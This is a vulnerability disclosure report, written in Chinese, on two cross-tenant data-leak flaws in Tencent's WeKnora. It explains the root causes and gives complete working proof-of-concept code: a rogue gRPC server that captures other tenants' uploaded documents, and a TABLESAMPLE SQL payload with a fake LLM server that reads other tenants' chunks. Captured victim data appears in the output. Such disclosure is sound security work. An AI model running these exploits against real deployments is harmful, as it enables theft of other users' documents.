WeKnora 漏洞报告
软件名称:WeKnora
开发者或厂商:Tencent
代码仓库:https://github.com/Tencent/WeKnora
1. 租户可劫持全局文档解析服务
| 简要描述: | 任一租户的管理员可以把进程级 DocReader 连接改到自己的服务器,其他租户上传的文档原文会被发送到该服务器。 |
|---|---|
| 影响版本: | 0.3.2 ~ 0.9.0 |
| 前置条件: | 攻击者拥有一个租户的 Owner 或 Admin 角色(默认部署允许公开注册并自动创建个人空间成为 Owner,故攻击者注册账号即可满足这一条件) |
漏洞成因
POST /api/v1/system/docreader/reconnect 只校验调用者在当前租户中的角色。相关代码如下:
// internal/router/routes_auth_tenant.go:282 commit f17ee8a8da
systemRoutes.POST("/docreader/reconnect", g.Admin(), handler.ReconnectDocReader)
g.Admin() 的校验对象是租户角色,定义见 internal/router/rbac.go:204-205:
// internal/router/rbac.go:204-205 commit f17ee8a8da
func (g *rbacGuards) Admin() gin.HandlerFunc {
return middleware.RequireRole(types.TenantRoleAdmin, g.cfg)
}
TenantRoleAdmin 是角色阶梯中的最低要求,HasPermission 按等级比较,Owner 的等级 40 高于 Admin 的 30,因此 Owner 也能通过该守卫。相关代码如下:
// internal/types/tenant_member.go:36-61 commit f17ee8a8da
var tenantRoleLevel = map[TenantRole]int{
TenantRoleOwner: 40,
TenantRoleAdmin: 30,
TenantRoleContributor: 20,
TenantRoleViewer: 10,
}
func (r TenantRole) HasPermission(required TenantRole) bool {
return r.Level() >= required.Level()
}
处理器只对 addr 做一次 SSRF 校验,随后调用全局 documentReader:
// internal/handler/system.go:460-511 commit f17ee8a8da
func (h *SystemHandler) ReconnectDocReader(c *gin.Context) {
var req struct {
Addr string `json:"addr" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(400, gin.H{"code": 1, "msg": "请提供 addr 参数"})
return
}
// ...
addr := strings.TrimSpace(req.Addr)
if err := secutils.ValidateURLForSSRF(addr); err != nil {
c.JSON(400, gin.H{"code": 1, "msg": secutils.FormatSSRFError("DocReader 地址", addr, err)})
return
}
if err := h.documentReader.Reconnect(addr); err != nil {
c.JSON(200, gin.H{"code": 1, "msg": fmt.Sprintf("连接失败: %v", err)})
return
}
_, docreaderTransport := h.getDocReaderConnInfo()
c.JSON(200, gin.H{"code": 0, "msg": "连接成功", "docreader_addr": addr, "docreader_transport": docreaderTransport, "connected": true})
}
initDocReaderClient 在容器启动时只注册一次,知识处理服务和系统处理器注入的是同一个 interfaces.DocumentReader 实例:
// internal/container/container.go:156 commit f17ee8a8da
must(container.Provide(initDocReaderClient))
GRPCDocumentReader.Reconnect 把新地址写入连接,后续 Read 使用该地址发送文档内容:
// internal/infrastructure/docparser/grpc_parser.go:85-96 commit f17ee8a8da
func (p *GRPCDocumentReader) Reconnect(addr string) error {
p.mu.Lock()
defer p.mu.Unlock()
if p.conn != nil {
_ = p.conn.Close()
p.conn = nil
p.client = nil
p.addr = ""
}
return p.connect(addr)
}
// internal/infrastructure/docparser/grpc_parser.go:140-152 commit f17ee8a8da
protoReq := &proto.ReadRequest{
FileContent: req.FileContent,
FileName: req.FileName,
FileType: req.FileType,
Url: req.URL,
Title: req.Title,
RequestId: req.RequestID,
}
鉴权按租户授予,被修改的对象却属于整个进程。任一租户管理员调用重连接口后,所有租户的文档都会发往该地址。
复现环境搭建
按官方快速上手启动 v0.9.0:
git clone https://github.com/Tencent/WeKnora.git
cd WeKnora
cp .env.example .env
sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env
sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env
sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env
docker compose pull
docker compose up -d
curl http://localhost:8080/health
前端在 http://localhost,后端在 http://localhost:8080。复现使用官方 wechatopenai/weknora-app:v0.9.0 与 wechatopenai/weknora-docreader:v0.9.0。
复现过程
攻击者在公网服务器上启动 gRPC 服务,本文使用域名 attacker.yulun.ac.cn。攻击者服务实现如下:
import logging
from concurrent import futures
import grpc
from docreader.proto import docreader_pb2, docreader_pb2_grpc
logging.basicConfig(level=logging.INFO)
class Server(docreader_pb2_grpc.DocReaderServicer):
def Read(self, request, context):
data = request.file_content
logging.info(
"CAPTURED read file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r",
request.file_name, request.file_type, len(data),
dict(request.config.parser_engine_overrides), data[:64],
)
with open("captured.bin", "wb") as handle:
handle.write(data)
return docreader_pb2.ReadResponse(markdown_content="# captured by attacker\n",
metadata={"engine": "evil"})
def ReadStream(self, request, context):
data = request.file_content
logging.info(
"CAPTURED stream file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r",
request.file_name, request.file_type, len(data),
dict(request.config.parser_engine_overrides), data[:64],
)
with open("captured.bin", "wb") as handle:
handle.write(data)
yield docreader_pb2.ReadStreamResponse(meta=docreader_pb2.ReadStreamMeta(
markdown_content="# captured by attacker\n", image_count=0))
def ListEngines(self, request, context):
return docreader_pb2.ListEnginesResponse(engines=[
docreader_pb2.ParserEngineInfo(name="evil", description="evil", available=True)
])
def PreprocessImage(self, request, context):
return docreader_pb2.PreprocessImageResponse()
def GetInfo(self, request, context):
return docreader_pb2.GetInfoResponse(version="evil", commit_id="evil")
server = grpc.server(futures.ThreadPoolExecutor(max_workers=4))
docreader_pb2_grpc.add_DocReaderServicer_to_server(Server(), server)
server.add_insecure_port("0.0.0.0:50051")
server.start()
logging.info("evil docreader listening on 50051")
server.wait_for_termination()
在攻击服务器上,将上面的服务保存为当前目录下的 evil_docreader.py。然后执行:
mkdir -p docreader/proto
wget -q -O docreader/proto/docreader_pb2.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2.py
wget -q -O docreader/proto/docreader_pb2_grpc.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2_grpc.py
touch docreader/__init__.py docreader/proto/__init__.py
uv run --with grpcio --with protobuf python evil_docreader.py > evil.log 2>&1 &
在浏览器注册受害者账号 victim@report.local,创建知识库 victim-kb,上传一份 PDF,等待状态变为“已完成”:

注册攻击者账号 attacker@report.local,执行以下脚本:
import httpx
BASE = "http://127.0.0.1:8080"
ATTACKER_ADDR = "attacker.yulun.ac.cn:50051"
def post(path, body, token=None):
headers = {"Authorization": "Bearer " + token} if token else {}
return httpx.post(BASE + path, json=body, headers=headers)
post("/api/v1/auth/register", {
"username": "attacker",
"email": "attacker@report.local",
"password": "Attacker@123",
})
token = post("/api/v1/auth/login", {
"email": "attacker@report.local",
"password": "Attacker@123",
}).json()["token"]
response = post("/api/v1/system/docreader/reconnect", {
"addr": ATTACKER_ADDR,
}, token)
result = response.json()
print(response.status_code)
print({key: result[key] for key in ("code", "connected", "docreader_addr", "docreader_transport", "msg")})
脚本输出如下:
200
{'code': 0, 'connected': True, 'docreader_addr': 'attacker.yulun.ac.cn:50051', 'docreader_transport': 'grpc', 'msg': '连接成功'}
受害租户随后上传文档,攻击者服务收到原始文件:
INFO:root:CAPTURED stream file_name='text.pdf' file_type='pdf' bytes=90060 overrides={} content_prefix=b'%PDF-1.7\n%\xc3\xa4\xc3\xbc\xc3\xb6\xc3\x9f\n2 0 obj\n<</Length 3 0 R/Filter/FlateDecode>>\n'
在攻击者容器中计算捕获文件的哈希,并与受害租户上传的 PDF 对照:
7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7 captured.bin
7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7 text.pdf
app 日志显示受害租户的解析结果已被攻击者返回的 Markdown 替换:
[DocReader] Chunk #0 内容预览: # captured by attacker
2. 数据库查询工具绕过租户隔离
| 简要描述: | database_query 工具的 SQL 重写只处理普通表引用和 JOIN,攻击者可以把一张表放进 TABLESAMPLE 子句,再用另一张普通表通过校验,从而读取其他租户的 chunks 正文。 |
|---|---|
| 影响版本: | 0.2.11 ~ 0.9.0 |
| 前置条件: | 攻击者拥有一个租户的 Owner 或 Admin 角色,能配置自己的模型并把 database_query 加入自定义智能体。 |
漏洞成因
database_query 在执行 SQL 前调用 ValidateAndSecureSQL,该函数用 pg_query 解析语句并重写 FROM 子句。相关代码如下:
// internal/agent/tools/database_query.go:252-277 commit f17ee8a8da
func (t *DatabaseQueryTool) validateAndSecureSQL(sqlQuery string, tenantID uint64) (string, error) {
searchScopes := searchScopesFromTargets(t.searchTargets)
if len(searchScopes) == 0 {
return "", fmt.Errorf("no effective Agent knowledge scope is available")
}
securedSQL, validationResult, err := utils.ValidateAndSecureSQL(
sqlQuery,
utils.WithSecurityDefaults(tenantID),
utils.WithSoftDeleteFilter("knowledge_bases", "knowledges", "chunks"),
utils.WithHiddenKBFilter(),
utils.WithChunkEnabledFilter(),
utils.WithInjectionRiskCheck(),
utils.WithSearchScopes(searchScopes),
)
if err != nil {
return "", err
}
if !validationResult.Valid {
var errMsgs []string
for _, valErr := range validationResult.Errors {
errMsgs = append(errMsgs, fmt.Sprintf("%s: %s", valErr.Type, valErr.Message))
}
return "", fmt.Errorf("validation failed: %s", strings.Join(errMsgs, "; "))
}
return securedSQL, nil
}
重写函数只识别 RangeVar 和 JoinExpr,其他 FROM 节点返回 nil:
// internal/utils/inject.go:937-975 commit f17ee8a8da
injectFrom = func(node *pg_query.Node) error {
if rv := node.GetRangeVar(); rv != nil {
alias := rv.Relname
if rv.Alias != nil {
alias = rv.Alias.Aliasname
}
tables := map[string]string{strings.ToLower(rv.Relname): quoteSQLIdentifier(alias)}
fragment := "SELECT 1"
fragment = validator.injectTenantConditions(fragment, tables)
fragment = validator.injectSoftDeleteConditions(fragment, tables)
fragment = validator.injectHiddenKBFilter(fragment, tables)
fragment = validator.injectChunkEnabledFilter(fragment, tables)
fragment = validator.injectSearchScopeConditions(fragment, tables)
filters, err := pg_query.Parse(fragment)
if err != nil {
return fmt.Errorf("failed to build SQL security filter: %w", err)
}
addSQLPredicate(stmt, filters.Stmts[0].Stmt.GetSelectStmt().WhereClause)
}
if join := node.GetJoinExpr(); join != nil {
if err := injectFrom(join.Larg); err != nil {
return err
}
return injectFrom(join.Rarg)
}
return nil
}
校验函数同样只处理 RangeVar、JoinExpr、RangeSubselect 和 RangeFunction,末尾返回 nil:
// internal/utils/inject.go:1508-1568 commit f17ee8a8da
func (v *sqlValidator) validateFromItem(node *pg_query.Node, tables map[string]string, result *SQLValidationResult) error {
if node == nil {
return nil
}
if rv := node.GetRangeVar(); rv != nil {
tableName := strings.ToLower(rv.Relname)
// ...
alias := tableName
if rv.Alias != nil && rv.Alias.Aliasname != "" {
alias = strings.ToLower(rv.Alias.Aliasname)
}
tables[tableName] = alias
return nil
}
if je := node.GetJoinExpr(); je != nil {
if err := v.validateFromItem(je.Larg, tables, result); err != nil {
return err
}
if err := v.validateFromItem(je.Rarg, tables, result); err != nil {
return err
}
if je.Quals != nil {
if err := v.validateNode(je.Quals, result); err != nil {
return err
}
}
return nil
}
if rss := node.GetRangeSubselect(); rss != nil {
if v.checkSubqueries {
return fmt.Errorf("subqueries in FROM clause are not allowed")
}
return v.validateSubquery(rss.Subquery, tables, result)
}
if node.GetRangeFunction() != nil {
return fmt.Errorf("functions in FROM clause are not allowed")
}
return nil
}
RangeTableSample 节点没有对应分支,校验和重写都会跳过它。攻击者用一张普通表满足“至少有一个有效表”的检查,把真正要读取的表放进 TABLESAMPLE:
SELECT c.content
FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b
LIMIT 50
重写后的 SQL 只给 b 加租户条件,c 没有条件:
SELECT c.content
FROM chunks c TABLESAMPLE bernoulli(100), knowledge_bases b
WHERE b.tenant_id = 10001
LIMIT 50
复现环境搭建
清空环境后,按官方快速上手重新启动 v0.9.0:
cd WeKnora
docker compose down -v
cp .env.example .env
sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env
sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env
sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env
docker compose pull
docker compose up -d
curl http://localhost:8080/health
复现过程
攻击者在 attacker.yulun.ac.cn:8000 上准备一个 OpenAI 兼容服务,对 chat/completions 返回 database_query 的 tool_call。最小服务如下:
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import re
SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50"
DIM = 1024
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if not self.path.endswith("/models"):
self.send_response(404)
self.end_headers()
return
body = json.dumps({"object": "list", "data": [{"id": "fake-1", "object": "model"}]}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_POST(self):
if not (self.path.endswith("/chat/completions") or self.path.endswith("/embeddings")):
self.send_response(404)
self.end_headers()
return
length = int(self.headers.get("Content-Length", 0))
request = json.loads(self.rfile.read(length) or b"{}")
if self.path.endswith("/embeddings"):
inputs = request.get("input") or []
if isinstance(inputs, str):
inputs = [inputs]
body = json.dumps({
"object": "list",
"data": [{"object": "embedding", "index": i, "embedding": [0.01] * DIM} for i in range(len(inputs))],
"model": request.get("model", "fake-embed"),
}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
return
messages = request.get("messages") or []
text = "".join(str(message.get("content") or "") for message in messages)
has_tool_result = any(message.get("role") == "tool" for message in messages)
match = None if has_tool_result else re.search(r"SQLQUERY:(.+)$", text, re.S)
tool_call = None
if match:
tool_call = {
"index": 0,
"id": "call_sql",
"type": "function",
"function": {"name": "database_query", "arguments": json.dumps({"sql": match.group(1).strip()})},
}
stream = request.get("stream", False)
content = None if tool_call else "FAKE_OK"
if stream:
delta = {"role": "assistant", "content": content}
if tool_call:
delta["tool_calls"] = [tool_call]
first = {
"id": "chatcmpl-1",
"object": "chat.completion.chunk",
"created": 1,
"model": "fake",
"choices": [{"index": 0, "delta": delta, "finish_reason": None}],
}
last = {
"id": "chatcmpl-1",
"object": "chat.completion.chunk",
"created": 1,
"model": "fake",
"choices": [{"index": 0, "delta": {}, "finish_reason": "tool_calls" if tool_call else "stop"}],
}
body = ("data: " + json.dumps(first) + "\n\ndata: " + json.dumps(last) + "\n\ndata: [DONE]\n\n").encode()
self.send_response(200)
self.send_header("Content-Type", "text/event-stream")
else:
message = {"role": "assistant", "content": content}
if tool_call:
message["tool_calls"] = [tool_call]
body = json.dumps({
"id": "chatcmpl-1",
"object": "chat.completion",
"created": 1,
"model": "fake",
"choices": [{"index": 0, "message": message, "finish_reason": "tool_calls" if tool_call else "stop"}],
}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
在攻击服务器上,将上面的服务保存为当前目录下的 fake_llm.py,然后执行:
python3 fake_llm.py > fake_llm.log 2>&1 &
受害租户注册后创建知识库,embedding 模型指向 http://attacker.yulun.ac.cn:8000/v1 并设置维度 1024,上传 secret.md,内容为 VICTIM_SECRET_CHUNK_CONTENT_98765:

注册攻击者账号 attacker@report.local,执行以下脚本创建模型、知识库、智能体和会话,然后发送 SQL 查询:
import httpx
BASE = "http://127.0.0.1:8080"
ATTACKER_DOMAIN = "attacker.yulun.ac.cn"
SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50"
def post(path, body, token=None):
headers = {"Authorization": "Bearer " + token} if token else {}
return httpx.post(BASE + path, json=body, headers=headers)
post("/api/v1/auth/register", {
"username": "attacker",
"email": "attacker@report.local",
"password": "Attacker@123",
})
token = post("/api/v1/auth/login", {
"email": "attacker@report.local",
"password": "Attacker@123",
}).json()["token"]
model = post("/api/v1/models", {
"name": "fake-chat",
"type": "KnowledgeQA",
"source": "remote",
"parameters": {
"base_url": f"http://{ATTACKER_DOMAIN}:8000/v1",
"api_key": "sk-fake",
"interface_type": "openai",
},
}, token).json()["data"]
kb = post("/api/v1/knowledge-bases", {
"name": "attacker-kb",
"description": "x",
"type": "document",
}, token).json()["data"]
agent = post("/api/v1/agents", {
"name": "sql-agent",
"description": "x",
"config": {
"agent_mode": "smart-reasoning",
"agent_type": "custom",
"model_id": model["id"],
"allowed_tools": ["database_query", "thinking", "todo_write"],
"kb_selection_mode": "selected",
"knowledge_bases": [kb["id"]],
"mcp_selection_mode": "none",
"skills_selection_mode": "none",
},
}, token).json()["data"]
session = post("/api/v1/sessions", {"title": "sql"}, token).json()["data"]
response = post("/api/v1/agent-chat/" + session["id"], {
"query": "SQLQUERY:" + SQL,
"agent_enabled": True,
"agent_id": agent["id"],
"knowledge_base_ids": [kb["id"]],
"channel": "web",
"disable_title": True,
}, token)
print(response.status_code)
print(response.text)
脚本输出的工具结果包含受害租户的 chunk:
200
data:{"id":"d73b155e-2514-418e-824b-fba455cd9666","response_type":"tool_result","content":"Tool completed (database_query; payload omitted from history)","done":false,"data":{"columns":["content"],"display_type":"database_query","duration_ms":164,"error":"","row_count":1,"rows":[{"content":"VICTIM_SECRET_CHUNK_CONTENT_98765\n"}],"success":true,"tool_call_id":"call_sql","tool_name":"database_query"}}
受害租户自己的 chunk 列表可以确认该内容属于 tenant 10000:
knowledge 6103813e-0ace-41ec-b077-a3f3da11bc26 status completed
VICTIM_SECRET_CHUNK_CONTENT_98765